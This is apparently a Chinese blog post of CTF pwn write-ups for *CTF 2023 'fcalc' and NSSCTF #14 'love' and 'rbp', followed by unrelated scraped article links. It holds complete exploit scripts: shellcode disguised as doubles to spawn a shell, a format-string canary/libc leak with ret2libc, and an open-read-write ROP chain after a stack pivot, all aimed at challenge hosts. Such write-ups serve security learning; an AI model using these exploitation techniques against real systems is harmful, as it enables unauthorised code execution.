*ctf2023 fcalc

分析程序

本题存在漏洞,是生活中很容易犯的错误,就是循环或者判断的时候没有注意多一还是少一,这种会发生很严重的问题。比如这个题在过滤数字的时候没有过滤掉0,所以输入0的时候会跳转到栈的内容,从而被攻击者执行shellcode。

不过本题目不能直接执行,因为存在一个对浮点数的检查,如果不符合检查会报错,所以写shellcode的时候要伪造成double浮点数,实际上就是把前面改成0x4040即可。

并且要注意binsh的长度过长,不能直接提权,要走orw。

(后续看了逮捕你战队,发现可以使用移位运算两位两位修改rdi为binsh,然后作为参数,确实没想到)

exp 我的

from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug') setup('./pwn')
#libset('libc-2.23.so')
rsetup('61.147.171.105',62960) sla(':',b'1.0 2.0 -'*2) shellcode = asm('''
push 1
pop rax
''') #sa('-1',b'\x00'*80 + shellcode)
sa('-1',b'\x00'*80 + p64(0x40404867616c6668)+p64(0x4040f63190e78948)+p64(0x404090050f58026a)+p64(0x4040e68948c78948)+p64(0x40490900000040ba)+p64(0x40409090050fc031)+p64(0x4040909090e68948)+p64(0x404058016a5f016a)+p64(0x404090909090050f))
evgdb('b *$rebase(0x1876)')
print(shellcode)
sl(b'0')
ia()





exp2 参考逮捕你战队的

from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug') setup('./pwn')
#libset('libc-2.23.so')
rsetup('61.147.171.105',62960) sla(':',b'1.0 2.0 -'*2) shellcode = asm('''
push 1
pop rax
''') def set_sc(sc):
pd = flat(
{
0:sc
},filler = '\x40',length=8
)
return pd pd = b'1' +b' '*7 + p64(0x3ff0000000000000)*10
pd+= set_sc("\x48\x31\xc0")
pd+= set_sc("\xb8\x3b\x00\x00\x00")
pd+= set_sc("\xbf\x2f\x73\x68\x00")
pd+=set_sc("\x48\xc1\xe7\x10")
pd+=set_sc("\x66\x81\xc7\x69\x6e")
pd+=set_sc("\x48\xc1\xe7\x10")
pd+=set_sc("\x66\x81\xc7\x2f\x62")
pd+=set_sc("\x57\x48\x89\xe7")
pd+=set_sc("\x48\x31\xf6")
pd+=set_sc("\x48\x31\xd2\x0f\x05") sa('Enter your expression:',pd)
evgdb('b *$rebase(0x1876)')
sla('Result: ',b'0') ia()

最后syscall就行,参考学习一下,很好的思路。shl rdi,0x10相当于乘以0x10000。

nssctf#14

love

from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug') setup('./0')
libset('libc.so.6')
rsetup('node3.anna.nssctf.cn',28586)
evgdb() #感谢T1d师傅,本题patch还需要patchelf --add-needed 你的目录/libpthread.so.0 pwn rdi =0x00000000004013f3
payload = b'%520c%9$n-%17$p-%15$p\x00\x00\x00sh\x00'
#写入sh,使用fmt促成相等,泄露libc地址和canary
#fmt无所不能 sd(payload)
can = tet()
can = tet()
addx = ru('-')
addx = int(ru('-')[:-1],16)
dp('addx',hex(addx))
base = getbase(addx,'__libc_start_main',243)
can = int(ru('00')[-18:],16)
dp('can',hex(can))
os = base+0xe3b04
sys = symoff('system',base)
binsh = 0x4040d8 sla('level',b'a'*0x28+p64(can)+p64(0)+p64(rdi)+p64(binsh)+p64(0x40101a)+p64(sys)) ia()

rbp

和之前那个旅行者题目很像,使用call read进行栈迁移即可。这里有一个很好的参考博客。

http://t.csdn.cn/XRf6t

感谢这个师傅,不过后面的操作好像有点繁琐。

因为开了沙盒execve,我走的orw,并且用libc里的一些gadget控制参数。最后的w用的是程序自带的puts。

from evilblade import *  

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug') setup('./pwn')
libset('libc.so.6')
rsetup('node1.anna.nssctf.cn',28642) vuln = 0x401270
lv = 0x40121d
puts = pltadd('puts')
start = symadd('_start')
bss = 0x404500
rdi = 0x0000000000401353 # pop rdi ; ret
rsir15 =0x0000000000401351
putsgot = gotadd('puts') sd(b'a'*0x210+p64(bss)+p64(0x401292))
sd(b'a'*0x210+p64(bss+0x210)+p64(0x401292))
sd(b'a'*8+p64(rdi)+p64(putsgot)+p64(puts)+p64(0x401292))
addx = tet()
addx = tet()
addx = tet()
addx = tet()
addx = getx64(0,-1)
base = getbase(addx,'puts')
openadd = symoff('open',base)
syscall = base+0x000000000002284d
read = symoff('read',base)
rax = base+0x0000000000036174
rdx= base+0x0000000000142c92 evgdb()
flag = 0x404500+0x90+0x18
payload = (b'aaaaaaaabaaaaaaacaaaaaaaflag\x00aaa'+p64(rdi))
payload += p64(flag) + p64(rsir15)+p64(0)*2+ p64(openadd)#open
payload += p64(rdi) + p64(3) + p64(rsir15) + p64(0x404800) + p64(0)#read
payload += p64(rdx) + p64(0x30) + p64(read)
payload += p64(rdi) + p64(0x404800) + p64(puts)
payload += b'flag\x00'
sd(payload) ia()

*CTF和nssctf#16的wp的更多相关文章

  1. 实验吧ctf题库web题wp

    经历了学校的校赛,一度自闭,被大佬们刺激的要奋发图强. 1.后台登录 链接: http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php 打开题目首先查看源码, ...

  2. 成都大学CTF 网络攻防演练平台 WP

    web1 输入框那里鼠标右键,审查元素,删除maxlength web2 http://ctf.cdusec.org:8082/web2/?cdusec=tql web3 同上,用火狐hackbar或 ...

  3. CTF Writeup 一个专门收集WP的网站

    www.ctfwp.com 创建于2019-04-15 致力于收集网上公开writeup,方便大家学习.

  4. 2019强网杯babybank wp及浅析

    前言 2019强网杯CTF智能合约题目--babybank wp及浅析 ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来 分析 反编译 使用OnlineSolidityDec ...

  5. 攻防世界 reverse evil

    这是2017 ddctf的一道逆向题, 挑战:<恶意软件分析> 赛题背景: 员工小A收到了一封邮件,带一个文档附件,小A随手打开了附件.随后IT部门发现小A的电脑发出了异常网络访问请求,进 ...

  6. rootkit 内核函数hook

    转自:https://0x90syntax.wordpress.com/2016/02/21/suterusu-rootkitx86%e4%b8%8earm%e7%9a%84%e5%86%85%e8% ...

  7. opengl版本

    OpenGL vendor string: IntelOpenGL renderer string: Intel(R) HD Graphics 630OpenGL version string: 4. ...

  8. Reverse 高校网络信息安全运维挑战赛

    Reverse 高校网络信息安全运维挑战赛 1 signed int sub_403CC0() 2 { 3 unsigned int v0; // eax 4 int key_lens; // eax ...

  9. 通过一道简单的例题了解Linux内核PWN

    写在前面 这篇文章目的在于简单介绍内核PWN题,揭开内核的神秘面纱.背后的知识点包含Linux驱动和内核源码,学习路线非常陡峭.也就是说,会一道Linux内核PWN需要非常多的铺垫知识,如果要学习可以 ...

  10. 记一次CTF出题WP

    笔者有幸参与一次CTF入门级的出题,在此记录一下WP 1.测试你得手速 1.用IDA打开程序 找到单击次数, 获取全局变量地址. 打开程序 打开OllyDbg attcach后在左下角按CTRL+N ...

随机推荐

  1. 2022-10-15:给你一个整数数组 nums 和一个整数 k ,请你返回其中出现频率前 k 高的元素。 你可以按 任意顺序 返回答案。 要求时间复杂度O(N)。 输入: nums = [1,1,1

    2022-10-15:给你一个整数数组 nums 和一个整数 k ,请你返回其中出现频率前 k 高的元素. 你可以按 任意顺序 返回答案. 要求时间复杂度O(N). 输入: nums = [1,1,1 ...

  2. 2022-01-22:力扣411,最短独占单词缩写。 给一个字符串数组strs和一个目标字符串target。target的简写不能跟strs打架。 strs是[“abcdefg“,“ccc“],tar

    2022-01-22:力扣411,最短独占单词缩写. 给一个字符串数组strs和一个目标字符串target.target的简写不能跟strs打架. strs是["abcdefg", ...

  3. select_related和prefetch_related函数

    在数据库存在外键的其情况下,使用select_related()和prefetch_related()很大程度上减少对数据库的请求次数以提高性能 在表中查找数据的时候,使用外键表related_nam ...

  4. AI 绘画 - 如何 0 成本在线体验 AI 绘画的魅力

    要想体验 AI 绘画,比较流行的三种方式是 Midjourney.OpenAI 的 DALL·E 2 以及 Stable Diffusion.而 Midjourney 已经停止免费试用,且使用价格不太 ...

  5. 修改本地hosts

    本地hosts文件地址 C:\Windows\System32\drivers\etc 修改前 修改后 可以使用记事本打开hosts文件或使用Notepad++ 工具打开 按图示添加,修改即可

  6. 洛谷P3374 【模板】树状数组 1-(单点修改,区间查询)

    题目描述 如题,已知一个数列,你需要进行下面两种操作: 将某一个数加上 x 求出某区间每一个数的和 输入格式 第一行包含两个正整数 n,m,分别表示该数列数字的个数和操作的总个数. 第二行包含 n 个 ...

  7. js 字符串格式数组转为数组对象

    工作中经常会遇到将json字符串转换为json对象,但是将字符串格式数组转为数组对象的场景却不多 如: 其中label_exp: "["cap_pop","wk ...

  8. 一分钟学一个 Linux 命令 - ls

    前言 大家好,我是 god23bin.今天我给大家带来的是 Linux 命令系列,每天只需一分钟,记住一个 Linux 命令不成问题.今天,我们要介绍的是一个常用而又强大的命令:ls(list). 什 ...

  9. 《最新出炉》系列初窥篇-Python+Playwright自动化测试-2-playwright的API及其他知识

    1.简介 上一篇宏哥已经将Python+Playwright的环境搭建好了,而且也简单的演示了一下三款浏览器的启动和关闭,是不是很简单啊.今天主要是把一篇的中的代码进行一次详细的注释,然后说一下pla ...

  10. ChatGPT在工业领域的研究与应用探索-AI助手实验应用

    为什么我的工作效率和质量要比其他人要高,因为我的电脑里有代码库.产品库.方案库.自己工作经验资料库等,根据一个应用场景或需求能够很快关联到想要的资料,并且整合成新的方案.我的核心竞争力是什么?各种资料 ...